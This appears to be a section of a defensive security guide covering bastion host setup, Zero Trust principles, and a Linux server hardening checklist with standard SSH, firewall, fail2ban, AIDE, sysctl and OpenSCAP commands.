40 Bastion Host / Jump Server

Hardened gateway for secure administrative access

A bastion host (or jump server) is a special-purpose computer on a network specifically designed and configured to withstand attacks. It hosts a single application or process — typically remote access — and all other services are removed or disabled.

Bastion Host Best Practices

  • Minimal Software: Remove all unnecessary packages and services
  • Latest Patches: Keep the system fully updated at all times
  • Key-Based Auth Only: Disable password authentication for SSH
  • MFA: Require multi-factor authentication for all access
  • Logging: Log all sessions and commands (use script or ttyrec)
  • Session Recording: Record all terminal sessions for audit
  • Network ACLs: Restrict source IPs to known administrative ranges
  • No Direct Internet: Place in a dedicated management network segment

Harden SSH on bastion host (/etc/ssh/sshd_config)

bash
PermitRootLogin no
bash
PasswordAuthentication no
bash
PubkeyAuthentication yes
bash
AuthenticationMethods publickey,keyboard-interactive
bash
ChallengeResponseAuthentication yes
bash
UsePAM yes
bash
AllowUsers admin@10.0.0.* deploy@10.0.0.*
bash
MaxAuthTries 3
bash
ClientAliveInterval 300
bash
ClientAliveCountMax 2
bash
LogLevel VERBOSE

Configure Google Authenticator for MFA.

bash
apt install libpam-google-authenticator
bash
google-authenticator

Add to /etc/pam.d/sshd:

Auth required pam_google_authenticator.so.

Session recording with script.

Add to /etc/profile or /etc/bash.bashrc:

bash
test -z $SCRIPT && SCRIPT=/var/log/sessions/$(date +%Y%m%d-%H%M%S)-$USER-$$.log && script -q $SCRIPT

Auto-logout idle sessions.

bash
TMOUT=600

10 minutes.

41 Zero Trust Architecture

Never trust, always verify

Zero Trust is a security model that assumes no trust by default, regardless of whether a connection originates inside or outside the network perimeter. Every access request is fully authenticated, authorized, and encrypted before access is granted.

Core Principles

  • Verify Explicitly: Always authenticate and authorize based on all available data points
  • Use Least Privilege Access: Limit user access with Just-In-Time and Just-Enough-Access (JIT/JEA)
  • Assume Breach: Minimize blast radius, segment access, verify end-to-end encryption

Zero Trust Pillars

PillarDescriptionTechnologies
IdentityUser and service identity verificationIAM, MFA, PIM, RBAC
DevicesDevice health and complianceMDM, EDR, device certificates
ApplicationsApplication-level access controlsOAuth, API gateways, CASB
DataData classification and protectionDLP, encryption, rights management
InfrastructureSecure configuration and monitoringCSPM, IaC scanning, micro-segmentation
NetworkMicro-segmentation and encryptionSDN, VPN, TLS everywhere

Implementing Zero Trust

  1. Define the Protect Surface: Identify critical data, assets, applications, and services (DAAS)
  2. Map Transaction Flows: Understand how traffic moves across your network
  3. Build a Zero Trust Architecture: Design controls around the protect surface
  4. Create Zero Trust Policy: Define who, what, when, where, why, and how for every access
  5. Monitor and Maintain: Continuously inspect and log all traffic
Note: Zero Trust is not a product you buy — it's a strategy and architecture. Many vendors sell "Zero Trust solutions," but true Zero Trust requires organizational change, not just technology.

42 System Hardening

Reducing attack surface through configuration

System hardening is the process of securing a system by reducing its surface of vulnerability. This includes removing unnecessary software, closing unused ports, applying patches, and configuring security settings.

Linux Server Hardening Checklist

1. Keep system updated.

bash
apt update && apt upgrade -y
bash
apt install unattended-upgrades

2. Configure firewall (default deny)

bash
ufw default deny incoming
bash
ufw default allow outgoing
bash
ufw allow ssh
bash
ufw allow http
bash
ufw allow https
bash
ufw enable

3. Secure SSH.

bash
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
bash
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
bash
sed -i 's/#MaxAuthTries 6/MaxAuthTries 3/' /etc/ssh/sshd_config
bash
systemctl restart sshd

4. Install and configure fail2ban.

bash
apt install fail2ban
bash
systemctl enable --now fail2ban

5. Disable unnecessary services.

bash
systemctl list-unit-files --type=service --state=enabled
bash
systemctl disable cups
bash
systemctl disable avahi-daemon

6. Audit listening ports.

bash
ss -tulpn

7. File integrity monitoring (AIDE)

bash
apt install aide
bash
aideinit
bash
aide --check

Run checks periodically.

8. Kernel hardening (sysctl)

bash
cat << EOF >> /etc/sysctl.conf

IP Spoofing protection.

bash
net.ipv4.conf.all.rp_filter = 1
bash
net.ipv4.conf.default.rp_filter = 1

Ignore ICMP redirects.

bash
net.ipv4.conf.all.accept_redirects = 0
bash
net.ipv6.conf.all.accept_redirects = 0

Ignore source routed packets.

bash
net.ipv4.conf.all.accept_source_route = 0
bash
net.ipv6.conf.all.accept_source_route = 0

Log martian packets.

bash
net.ipv4.conf.all.log_martians = 1

Disable IPv6 if not needed.

bash
net.ipv6.conf.all.disable_ipv6 = 1
bash
EOF
bash
sysctl -p

9. Remove unnecessary packages.

bash
apt autoremove
bash
apt autoclean

10. Set up log monitoring.

bash
apt install logwatch

Configure /etc/logwatch/conf/logwatch.conf.

Security Benchmarks

  • CIS Benchmarks: Center for Internet Security hardening guides for all major OS and software
  • STIGs: Security Technical Implementation Guides from DISA
  • OpenSCAP: Automated compliance checking against SCAP content

OpenSCAP compliance scan (CIS benchmark)

bash
apt install libopenscap8 scap-workbench
bash
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_cis --results scan-results.xml --report scan-report.html /usr/share/xml/scap/ssg/content/ssg-ubuntu2204-ds.xml
Tip: Use configuration management tools like Ansible, Chef, or Puppet to automate hardening across your infrastructure. Immutable infrastructure (containers, AMIs) also reduces the need for runtime hardening.